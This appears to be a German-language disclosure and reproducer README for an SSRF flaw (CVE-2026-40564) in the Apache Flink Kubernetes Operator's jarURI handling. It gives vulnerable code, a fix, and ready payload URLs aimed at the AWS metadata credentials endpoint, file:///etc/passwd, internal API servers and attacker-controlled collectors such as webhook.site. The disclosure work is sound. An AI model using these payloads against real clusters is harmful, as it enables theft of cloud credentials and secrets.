
CVE-2026-40564: SSRF über FlinkSessionJob jarURI im apache/flink-kubernetes-operator. Eigenständiger Reproduzierer, der mit einem einzigen make-Befehl auf einem lokalen kind-Cluster läuft.
Der Apache Flink Kubernetes Operator prüft das Feld spec.job.jarURI in FlinkSessionJob- (oder FlinkDeployment-)Ressourcen nicht. Jeder, der eine solche Ressource erstellen kann, kann jarURI auf eine beliebige URL setzen. Wenn der Operator die Ressource abgleicht, ruft er diese URL aus seinem eigenen Pod ab. Das Schema kann http, https, file oder eines der Dateisystem-Plugins sein, die Flink mitbringt, sodass die Anfrage praktisch überall hingehen kann, wohin der Operator-Pod Zugriff hat.
main (1.15-SNAPSHOT Stand 2026-04-09)[email protected] und [email protected] am 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Dies führt fünf Schritte nacheinander aus:
FlinkSessionJob, dessen jarURI darauf zeigtWenn es funktioniert, sieht das Ende der Ausführung wie folgt aus:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
Der erste Durchlauf dauert etwa 6 bis 8 Minuten. Der größte Teil entfällt auf das Herunterladen des Images flink:1.17, das rund 700 MB groß ist. Spätere Durchläufe sind eher 3 Minuten.
docker, kind, kubectl 1.23 oder neuer, helm 3, make, curl und jq. Der Cluster muss Zugang zum Internet haben, um mit webhook.site kommunizieren zu können.
Standardmäßig holt das Makefile automatisch eine neue webhook.site-URL. Um die Anfrage an eine andere Adresse zu senden, setzen Sie SSRF_URL auf die vollständige jarURI, die Sie verwenden möchten. Sie wird so verwendet, wie sie angegeben wird.
# eine bestimmte webhook.site-URL wiederverwenden
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# eigener Collaborator (Burp, interactsh, ein netcat-Listener usw.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# AWS-Instance-Metadaten-Service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ein Nicht-HTTP-Schema, das von der Flink-Dateisystemebene verarbeitet wird
make verify SSRF_URL=file:///etc/passwd
Wie die Prüfung das Ergebnis bestätigt, hängt vom Ziel ab. Wenn die URL auf webhook.site liegt, liest das Makefile über dessen REST-API und gibt die aufgezeichneten Anfragen aus. Für alles andere wird das Operator-Log gelesen und nach dem Stack-Frame HttpArtifactFetcher.fetch gesucht, der anzeigt, dass der Abruf stattgefunden hat. WEBHOOK_URL funktioniert ebenfalls und bedeutet dasselbe wie SSRF_URL.
make cleanup
Dies entfernt den kind-Cluster. Es bleibt nichts zurück.
Drei Klassen sind beteiligt, und keine von ihnen prüft das Schema, den Host oder die IP in jarURI.
DefaultValidator.validateJobSpec prüft Parallelität, Upgrade-Modus, Snapshot-Einstellungen und Ressourcenform. Es liest nie job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... Prüfungen zu Parallelität / UpgradeModus / Snapshot / Ressourcen ...
// job.getJarURI() wird nie untersucht.
return Optional.empty();
}
ArtifactManager.fetch wählt einen Fetcher basierend auf dem Schema aus. Es gibt keine Whitelist, und alles, was nicht http oder https ist, fällt auf die Flink-Dateisystemebene zurück:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch öffnet die URL wie angegeben. Es gibt keine Host-Prüfung, keine IP-Bereichsprüfung und nichts, was den Zugriff auf Loopback- oder Link-Local-Adressen verhindert:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
Der Operator läuft in der Regel mit weitreichenden RBAC-Berechtigungen. Das offizielle Helm-Chart gewährt * auf mehrere Ressourcentypen, einschließlich Secrets, und der Pod kann normalerweise uneingeschränkt auf das Netzwerk zugreifen. Wenn Sie ihn dazu bringen können, Anfragen für Sie zu senden, können Sie:
FlinkSessionJob auslesenIn einem gemeinsam genutzten Cluster, in dem mehrere Teams denselben Operator verwenden, kann jedes Team ihn nutzen, um auf die Ressourcen eines anderen Teams zuzugreifen.
Der Reproduzierer verwendet standardmäßig webhook.site, aber der Bug fragt nicht nach der URL. Setzen Sie SSRF_URL oder bearbeiten Sie manifests/vulnerable-sessionjob.yaml auf eine der folgenden Angaben:
jarURI | Erreicht |
|---|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, die IAM-Anmeldeinformationen des Knotens des Operator-Pods |
http://10.0.0.1:6443/api | Ein In-Cluster-API-Server oder jeder interne Endpunkt, der die IP des Operators auf eine Whitelist setzt |
file:///etc/passwd | Das eigene Dateisystem des Operator-Pods über den Zweig des Dateisystem-Fetchers |
s3://attacker-bucket/x.jar | S3 unter Verwendung der Anmeldeinformationen des Operator-Pods |
Fügen Sie eine Prüfung in DefaultValidator.validateJobSpec ein:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}